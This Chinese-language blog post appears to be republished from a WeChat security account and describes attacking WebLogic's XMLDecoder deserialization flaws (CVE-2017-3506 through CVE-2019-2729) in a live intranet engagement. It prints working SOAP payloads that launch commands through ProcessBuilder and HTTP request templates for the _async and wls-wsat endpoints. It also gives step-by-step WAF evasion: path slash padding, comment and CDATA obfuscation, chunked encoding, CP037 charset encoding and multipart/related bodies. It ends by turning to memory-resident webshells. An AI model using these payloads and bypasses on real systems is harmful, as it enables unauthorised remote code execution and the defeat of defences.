一、 历史
某次实战中在内网看到了weblogic,是存在XMLDecoder的低版本,早几年是易于利用的入口。现在经过多轮整改,已经很难见到,偶尔在内网中还能看到它(当然很大可能是蜜罐)。
正常情况下访问这两个路由就能看出来。
/_async/AsyncResponseService
/wls-wsat/CoordinatorPortType
他们均使用了SOAP协议,后端用XMLDecoder解析,因此存在反序列化漏洞,除了这两个接口之外,还存在其他一些类似的。
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Https
顺便介绍一下历史漏洞的产生,熟悉漏洞的人可以跳过了。
CVE-2017-3506,直接实例化ProcessBuilder。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
CVE-2017-10271,对CVE-2017-3506的绕过。
官方禁用了object标签,但可以用void标签代替。
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>
此时由于暂时未发现/_async/AsyncResponseService也存在XMLDecoder反序列化,所以在CVE-2017-3506到CVE-2017-10271之间的版本,直接向_async接口 POST含object标签的payload也是可以的。
CVE-2017-10271之后官方继续追加黑名单标签,包括new,method标签被禁止,void只能有index属性,array的class属性只能是byte。
CVE-2019-2725,对CVE-2017-10271的绕过。
我们还有class标签可以使用,只需要找到一个类用byte传参,且实例化时可以造成命令执行效果。weblogic 10.x版本用的是oracle.toplink.internal.sessions.UnitOfWorkChangeSet,Weblogic 12.x版本使用的是org.slf4j.ext.EventData。
并且在这个版本中也发现了/_async/AsyncResponseService的存在并修复,修复方案是继续拉黑class标签。
CVE-2019-2729,对CVE-2019-2725的绕过。
用<array method=”forName”>这种反射形式代替<class>即可。
再之后,官方终于忍无可忍的删除了这些接口,至此weblogic的XMLDecoder反序列化被终结。
二、 WAF
说了这么多废话,结果还不是直接上工具打回显/内存马?然而并没有那么简单,工具利用不成功。显然有waf,那么怎么绕过呢?你必须对这个漏洞有所了解才能尝试去绕过。首先浏览器/curl发起一些简单的GET包,看这些路由是否存在。
然后发现waf对wls-wsat系列接口进行了严防死守,不让任何形式的访问。而_async只要加上一些/就可以绕过了。
////////////////_async////////////AsyncResponseService
接下来是payload的绕过,要选择哪种payload呢?因为是内网,不出网,不出dns,不确定小版本,不确定大版本(T3可以探测出来,但不支持T3),所以最好是用CVE-2019-2729打回显或者内存马。CVE-2019-2729也分10/12的版本,根据经验来看,极少见低版本weblogic12,所以使用了10的payload。
先整一个没有实际攻击的payload。
POST ////////////////_async////////////AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 634
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header> <wsa:Action/><wsa:RelatesTo/><asy:onAsyncDelivery/>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<array method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
</void>
</array></void></array>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body></soapenv:Body></soapenv:Envelope>
然而马上被WAF拦截了,那么我们就开始考虑绕过。
三、 绕过
1,脏数据
因为SOAP本质是XML,因此它当然能利用XML的特性往内容中插入一些注释作为脏数据干扰WAF。
比如<!–xxxxxxxxx–>
PS:为了演示方便,这里打本地的时候用的是wls-wsat接口。
以及关键的<![CDATA[]]>可以打散类名,防止WAF根据类名检测。
2,分块传输
老朋友了,不赘述,burp插件chunked-coding-converter。
3,Content-Type/Transfer-Encoding
WAF还有可能根据Content-Type: text/xml来确认传递的是XML body,再从Transfer-Encoding: chunked来确定你用的是分块传输。此时可以通过扰乱它们,增加一些大小写空格逗号分号之类的手法让WAF无法识别。
4,Content-Type: text/xml; charset=CP037
总所周知,在XXE中XML格式是支持很多编码的,SOAP当然也一样。因此weblogic中当然可以这样传。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 206168
Content-Type: text/xml; charset=CP037
cmd:whoami
`iconv -f utf8 -t CP037 utf-8.xml > CP037.xml`
5,Content-Type: multipart/related
multipart/related,这种在邮件协议当中,为了支持多个body的Content-Type,weblogic也支持。用法是这样的。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Content-Length: 99
Content-Type: multipart/related; boundary=---69
cmd: whoami
-----69
Content-Type: application/xop+xml;
-----69--
效果是这样的
代码见 weblogic.wsee.connection.soap.SoapConnection
6,组合
这些绕过办法当然可以组合,比如5和6组合在一起就变成了这样。
四、 回显
绕过了WAF,就让我们来实战吧,实战中_async有个很大的问题就是它不回显,比如这个XMLDecoder转jdk7u21转weblogic回显的payload。
但命令是直接执行成功了的。
而同样的payload在wls-wsat可以回显。
这很容易猜测到原因,是因为这个202响应把Response覆盖掉了,这种情况下通常还可以用header回显,然而实际试了也不行。
这里问了下朋友,都没有深入研究这个问题,不纠结,直接上内存马。
原文始发于微信公众号(珂技知识分享):炒冷饭之实战weblogic XMLDecoder反序列化